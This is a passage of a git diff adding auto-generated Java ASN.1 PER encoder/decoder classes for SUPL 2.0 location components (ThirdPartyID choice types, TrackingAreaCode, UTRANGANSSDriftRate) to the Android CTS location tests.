+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class logicalNameType extends Asn1IA5String {
+ //
+
+ private static final Asn1Tag TAG_logicalNameType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public logicalNameType() {
+ super();
+ setMinSize(1);
+setMaxSize(1000);
+
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_logicalNameType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_logicalNameType != null) {
+ return ImmutableList.of(TAG_logicalNameType);
+ } else {
+ return Asn1IA5String.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new logicalNameType from encoded stream.
+ */
+ public static logicalNameType fromPerUnaligned(byte[] encodedBytes) {
+ logicalNameType result = new logicalNameType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new logicalNameType from encoded stream.
+ */
+ public static logicalNameType fromPerAligned(byte[] encodedBytes) {
+ logicalNameType result = new logicalNameType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "logicalNameType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isLogicalName() {
+ return !hasExtensionValue() && Select.$LogicalName == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isLogicalName}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.logicalNameType getLogicalName() {
+ if (!isLogicalName()) {
+ throw new IllegalStateException("ThirdPartyID value not a LogicalName");
+ }
+ return (ThirdPartyID.logicalNameType) element;
+ }
+
+ public void setLogicalName(ThirdPartyID.logicalNameType selected) {
+ selection = Select.$LogicalName;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.logicalNameType setLogicalNameToNewInstance() {
+ ThirdPartyID.logicalNameType element = new ThirdPartyID.logicalNameType();
+ setLogicalName(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class msisdnType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_msisdnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public msisdnType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_msisdnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_msisdnType != null) {
+ return ImmutableList.of(TAG_msisdnType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new msisdnType from encoded stream.
+ */
+ public static msisdnType fromPerUnaligned(byte[] encodedBytes) {
+ msisdnType result = new msisdnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new msisdnType from encoded stream.
+ */
+ public static msisdnType fromPerAligned(byte[] encodedBytes) {
+ msisdnType result = new msisdnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "msisdnType";
+ }
+}
+
+
+ public boolean isMsisdn() {
+ return !hasExtensionValue() && Select.$Msisdn == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsisdn}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.msisdnType getMsisdn() {
+ if (!isMsisdn()) {
+ throw new IllegalStateException("ThirdPartyID value not a Msisdn");
+ }
+ return (ThirdPartyID.msisdnType) element;
+ }
+
+ public void setMsisdn(ThirdPartyID.msisdnType selected) {
+ selection = Select.$Msisdn;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.msisdnType setMsisdnToNewInstance() {
+ ThirdPartyID.msisdnType element = new ThirdPartyID.msisdnType();
+ setMsisdn(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class emailaddrType extends Asn1IA5String {
+ //
+
+ private static final Asn1Tag TAG_emailaddrType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public emailaddrType() {
+ super();
+ setMinSize(1);
+setMaxSize(1000);
+
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_emailaddrType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_emailaddrType != null) {
+ return ImmutableList.of(TAG_emailaddrType);
+ } else {
+ return Asn1IA5String.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new emailaddrType from encoded stream.
+ */
+ public static emailaddrType fromPerUnaligned(byte[] encodedBytes) {
+ emailaddrType result = new emailaddrType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new emailaddrType from encoded stream.
+ */
+ public static emailaddrType fromPerAligned(byte[] encodedBytes) {
+ emailaddrType result = new emailaddrType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "emailaddrType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isEmailaddr() {
+ return !hasExtensionValue() && Select.$Emailaddr == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isEmailaddr}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.emailaddrType getEmailaddr() {
+ if (!isEmailaddr()) {
+ throw new IllegalStateException("ThirdPartyID value not a Emailaddr");
+ }
+ return (ThirdPartyID.emailaddrType) element;
+ }
+
+ public void setEmailaddr(ThirdPartyID.emailaddrType selected) {
+ selection = Select.$Emailaddr;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.emailaddrType setEmailaddrToNewInstance() {
+ ThirdPartyID.emailaddrType element = new ThirdPartyID.emailaddrType();
+ setEmailaddr(element);
+ return element;
+ }
+
+ /*
+ */
+
+
+//
+
+/**
+ */
+public static class sip_uriType extends Asn1VisibleString {
+ //
+
+ private static final Asn1Tag TAG_sip_uriType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sip_uriType() {
+ super();
+ setMinSize(1);
+setMaxSize(255);
+
+ setAlphabet("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:./-_~#@?");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sip_uriType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sip_uriType != null) {
+ return ImmutableList.of(TAG_sip_uriType);
+ } else {
+ return Asn1VisibleString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sip_uriType from encoded stream.
+ */
+ public static sip_uriType fromPerUnaligned(byte[] encodedBytes) {
+ sip_uriType result = new sip_uriType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sip_uriType from encoded stream.
+ */
+ public static sip_uriType fromPerAligned(byte[] encodedBytes) {
+ sip_uriType result = new sip_uriType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sip_uriType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isSip_uri() {
+ return !hasExtensionValue() && Select.$Sip_uri == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isSip_uri}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.sip_uriType getSip_uri() {
+ if (!isSip_uri()) {
+ throw new IllegalStateException("ThirdPartyID value not a Sip_uri");
+ }
+ return (ThirdPartyID.sip_uriType) element;
+ }
+
+ public void setSip_uri(ThirdPartyID.sip_uriType selected) {
+ selection = Select.$Sip_uri;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.sip_uriType setSip_uriToNewInstance() {
+ ThirdPartyID.sip_uriType element = new ThirdPartyID.sip_uriType();
+ setSip_uri(element);
+ return element;
+ }
+
+ /*
+ */
+
+
+//
+
+/**
+ */
+public static class ims_public_identityType extends Asn1VisibleString {
+ //
+
+ private static final Asn1Tag TAG_ims_public_identityType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ims_public_identityType() {
+ super();
+ setMinSize(1);
+setMaxSize(255);
+
+ setAlphabet("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:./-_~#@?");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ims_public_identityType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ims_public_identityType != null) {
+ return ImmutableList.of(TAG_ims_public_identityType);
+ } else {
+ return Asn1VisibleString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ims_public_identityType from encoded stream.
+ */
+ public static ims_public_identityType fromPerUnaligned(byte[] encodedBytes) {
+ ims_public_identityType result = new ims_public_identityType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ims_public_identityType from encoded stream.
+ */
+ public static ims_public_identityType fromPerAligned(byte[] encodedBytes) {
+ ims_public_identityType result = new ims_public_identityType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ims_public_identityType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isIms_public_identity() {
+ return !hasExtensionValue() && Select.$Ims_public_identity == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isIms_public_identity}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.ims_public_identityType getIms_public_identity() {
+ if (!isIms_public_identity()) {
+ throw new IllegalStateException("ThirdPartyID value not a Ims_public_identity");
+ }
+ return (ThirdPartyID.ims_public_identityType) element;
+ }
+
+ public void setIms_public_identity(ThirdPartyID.ims_public_identityType selected) {
+ selection = Select.$Ims_public_identity;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.ims_public_identityType setIms_public_identityToNewInstance() {
+ ThirdPartyID.ims_public_identityType element = new ThirdPartyID.ims_public_identityType();
+ setIms_public_identity(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class minType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_minType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public minType() {
+ super();
+ setMinSize(34);
+setMaxSize(34);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_minType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_minType != null) {
+ return ImmutableList.of(TAG_minType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new minType from encoded stream.
+ */
+ public static minType fromPerUnaligned(byte[] encodedBytes) {
+ minType result = new minType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new minType from encoded stream.
+ */
+ public static minType fromPerAligned(byte[] encodedBytes) {
+ minType result = new minType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "minType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isMin() {
+ return !hasExtensionValue() && Select.$Min == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMin}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.minType getMin() {
+ if (!isMin()) {
+ throw new IllegalStateException("ThirdPartyID value not a Min");
+ }
+ return (ThirdPartyID.minType) element;
+ }
+
+ public void setMin(ThirdPartyID.minType selected) {
+ selection = Select.$Min;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.minType setMinToNewInstance() {
+ ThirdPartyID.minType element = new ThirdPartyID.minType();
+ setMin(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class mdnType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_mdnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public mdnType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_mdnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_mdnType != null) {
+ return ImmutableList.of(TAG_mdnType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new mdnType from encoded stream.
+ */
+ public static mdnType fromPerUnaligned(byte[] encodedBytes) {
+ mdnType result = new mdnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new mdnType from encoded stream.
+ */
+ public static mdnType fromPerAligned(byte[] encodedBytes) {
+ mdnType result = new mdnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "mdnType";
+ }
+}
+
+
+ public boolean isMdn() {
+ return !hasExtensionValue() && Select.$Mdn == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMdn}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.mdnType getMdn() {
+ if (!isMdn()) {
+ throw new IllegalStateException("ThirdPartyID value not a Mdn");
+ }
+ return (ThirdPartyID.mdnType) element;
+ }
+
+ public void setMdn(ThirdPartyID.mdnType selected) {
+ selection = Select.$Mdn;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.mdnType setMdnToNewInstance() {
+ ThirdPartyID.mdnType element = new ThirdPartyID.mdnType();
+ setMdn(element);
+ return element;
+ }
+
+ /*
+ */
+
+
+//
+
+/**
+ */
+public static class uriType extends Asn1VisibleString {
+ //
+
+ private static final Asn1Tag TAG_uriType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uriType() {
+ super();
+ setMinSize(1);
+setMaxSize(255);
+
+ setAlphabet("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./-_~#");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uriType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uriType != null) {
+ return ImmutableList.of(TAG_uriType);
+ } else {
+ return Asn1VisibleString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uriType from encoded stream.
+ */
+ public static uriType fromPerUnaligned(byte[] encodedBytes) {
+ uriType result = new uriType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uriType from encoded stream.
+ */
+ public static uriType fromPerAligned(byte[] encodedBytes) {
+ uriType result = new uriType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "uriType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isUri() {
+ return !hasExtensionValue() && Select.$Uri == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isUri}.
+ */
+ @SuppressWarnings("unchecked")
+ public ThirdPartyID.uriType getUri() {
+ if (!isUri()) {
+ throw new IllegalStateException("ThirdPartyID value not a Uri");
+ }
+ return (ThirdPartyID.uriType) element;
+ }
+
+ public void setUri(ThirdPartyID.uriType selected) {
+ selection = Select.$Uri;
+ extension = false;
+ element = selected;
+ }
+
+ public ThirdPartyID.uriType setUriToNewInstance() {
+ ThirdPartyID.uriType element = new ThirdPartyID.uriType();
+ setUri(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "ThirdPartyID = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
new file mode 100755
index 0000000..65634bd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/TrackingAreaCode.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TrackingAreaCode extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_TrackingAreaCode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TrackingAreaCode() {
+ super();
+ setMinSize(16);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TrackingAreaCode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TrackingAreaCode != null) {
+ return ImmutableList.of(TAG_TrackingAreaCode);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TrackingAreaCode from encoded stream.
+ */
+ public static TrackingAreaCode fromPerUnaligned(byte[] encodedBytes) {
+ TrackingAreaCode result = new TrackingAreaCode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TrackingAreaCode from encoded stream.
+ */
+ public static TrackingAreaCode fromPerAligned(byte[] encodedBytes) {
+ TrackingAreaCode result = new TrackingAreaCode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TrackingAreaCode = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
new file mode 100755
index 0000000..6e7756a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGANSSDriftRate.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class UTRANGANSSDriftRate extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ utran_GANSSDrift0(1),
+ utran_GANSSDrift1(2),
+ utran_GANSSDrift2(3),
+ utran_GANSSDrift5(4),
+ utran_GANSSDrift10(5),
+ utran_GANSSDrift15(6),
+ utran_GANSSDrift25(7),
+ utran_GANSSDrift50(8),
+ utran_GANSSDrift_1(9),
+ utran_GANSSDrift_2(10),
+ utran_GANSSDrift_5(11),
+ utran_GANSSDrift_10(12),
+ utran_GANSSDrift_15(13),
+ utran_GANSSDrift_25(14),
+ utran_GANSSDrift_50(15),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_UTRANGANSSDriftRate
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRANGANSSDriftRate() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRANGANSSDriftRate;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRANGANSSDriftRate != null) {
+ return ImmutableList.of(TAG_UTRANGANSSDriftRate);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new UTRANGANSSDriftRate from encoded stream.
+ */
+ public static UTRANGANSSDriftRate fromPerUnaligned(byte[] encodedBytes) {
+ UTRANGANSSDriftRate result = new UTRANGANSSDriftRate();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRANGANSSDriftRate from encoded stream.
+ */
+ public static UTRANGANSSDriftRate fromPerAligned(byte[] encodedBytes) {
+ UTRANGANSSDriftRate result = new UTRANGANSSDriftRate();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "UTRANGANSSDriftRate = " + getValue() + ";\n";
+ }
+}
